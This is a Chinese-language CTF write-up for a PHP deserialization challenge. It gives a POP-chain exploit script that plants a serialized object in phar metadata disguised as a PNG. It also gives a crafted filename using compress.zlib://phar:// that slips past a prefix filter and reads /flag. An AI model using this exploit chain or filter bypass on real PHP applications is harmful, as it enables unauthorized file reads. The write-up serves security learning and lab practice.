之前学了POP链和基础的各种反序列化利用方法
王哥给了一份源码 我部署到了
http://blog.happysec.cn:20002/ 失效了
有兴趣的各位可以自己去尝试一下
解题思路
0x01
1.进入是一个登陆界面
因为我知道考察我的是反序列化的利用 注入啥的就不用测了(还是去尝试注入了,后来源码里是预编译)
ok 查看源码 抓包都无异常 开始目录扫描大法 最终扫描一个www.zip目录 里面是网站的源码文件
首先 有一个classes.php文件 里面存放了各种类
这里审计之后发现 文件上传与读取两个类没有设置鉴权 也就是这道题真的和账号密码登陆没有关系
0x02
考点猜测:上传一个文件 然后通过read文件读取 反序列化获取flag的内容
但是尼玛的没有unsealize函数啊?懵逼懵逼懵逼
一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。一般来说,文件操作都是可以触发phar
反序列化的。
可以上传Phar文件 有可以利用的魔术方法 文件操作函数的参数可控
文件系统中很大一部分的函数在通过phar://
解析时,存在着对meta-data
反序列化的操作
但是现实是残酷的!
这里把phar给过滤了!但是还好他只是对文件名的开头做字符匹配,当phar://不可用的时候 可以用compress.zlib://phar:// 绕过!这样phar在后面 !
0x03
那这题的解题过程就很明显了 由于过滤了后缀各种脚本 但是phar协议反序列化无所谓 重命名为jpg都可以!
也就是构造POP链 将对象放入生成phar文件的meta-data里去序列化
再用协议反序列化执行获取文件内容就行!那么我们要怎么构造可行的pop链呢?
0x04
这种题的思路一般就是看看最后是哪里执行获取的然后依次往上找到可以实例化对象就执行命令的地方
答案是肯定的,reader类里有个__set魔法函数
这里 直接读取$val的内容 当$val 为/flag时 就可以直接读取flag的内容了!
参考之前写的pop链构造
https://blog.happysec.cn/index/view/243.html
__set方法触发的前置条件是 当对象访问了他不可操作的属性,然后把不可操作的属性赋值你要写入的数据
往上找其他类
发现这里有个tostring方法的魔法函数
特别注意这里
上面那个序列化的操作估计是王哥留的坑 迷惑一下做题人 ,这里假设 $this->nickname是对象reader ,这里的操作就是 把reader对象里的backup属性赋值为对象user的backup属性。然后你会发现 reader对象里根本就没有backup属性呀!!!那怎么办 能怎么办 触发了__set呗,然后$val赋值为user对象中backup的内容!假设user对象中的backup设置为"/flag",如果执行了tostring 就会执行reader类中的__set方法!此时$val为 /flag使得程序读取了/flag的内容并输出!那怎么让user类执行tostring方法呢!哪里可以把对象当做字符串操作呢!
dbctrl对象中有 __destruct魔法函数 直接echo对象 相当于echo了字符串!就会触发tostring
所以只要让$this->token变成对象user就行了!然后 你会发现 链子到头了!__destruct只要是反序列化操作都会执行!
那么就可以写exp啦!
<?php //丢了部分代码 这里是用destruct 触发tostring 自己脑补 class User { public $nickname=null; public $backup; public function __construct() { $this->nickname = new Reader(); //设置这里 它就会在下面去设置 backup属性为这里的backup $this->backup = '/flag'; } public function __toString() { $this->nickname = new Reader(); $this->nickname->backup=$this->backup; //这里就触发了set方法同时把$this->nickname->backup和$this->backup传了过去 //他娘的对象readers哪来的属性backup 给老子爬 } } class reader { //这里不用写 因为他没有下级对象要搞了 直接在这里执行魔法函数__set的 但是不写这个类会报错 //因为没有这个类! } @unlink("xiaobei.phar"); $phar = new Phar("xiaobei.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub(""); //设置stub $phar->setMetadata(new dbCtrl()); //将自定义的meta-data存入manifest 也就是把你的POP链存进去序列化 $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); rename('xiaobei.phar', 'fuck.png'); //因为不能传phar后缀的文件 改成png就行
这里有人可能会疑问 为什么要用__construct魔法函数来赋值,因为当属性为private和protected就必须用这个方法赋值了 而直接赋值会失效
(我也不知道瞎猜的,反正用了万无一失,没那么多事)
同时 你需要去修改php.ini 改成我这样就行!
然后运行这个脚本 会生成一个fuck.png文件
然后去upload上传这个fuck.png 获取返回的文件路径!
/var/www/html/upload/2cc3663decc53df4367d8090dfee8a39.png
因为文件操作的函数可控 去read界面输入地址后抓包 filename这个函数可以任意修改
改成
filename=compress.zlib://phar:///var/www/html/upload/2cc3663decc53df4367d8090dfee8a39.png
go之后就通过phar反序列化拿到了flag!
后面的序列化内容是由于
user类中的这个return执行产生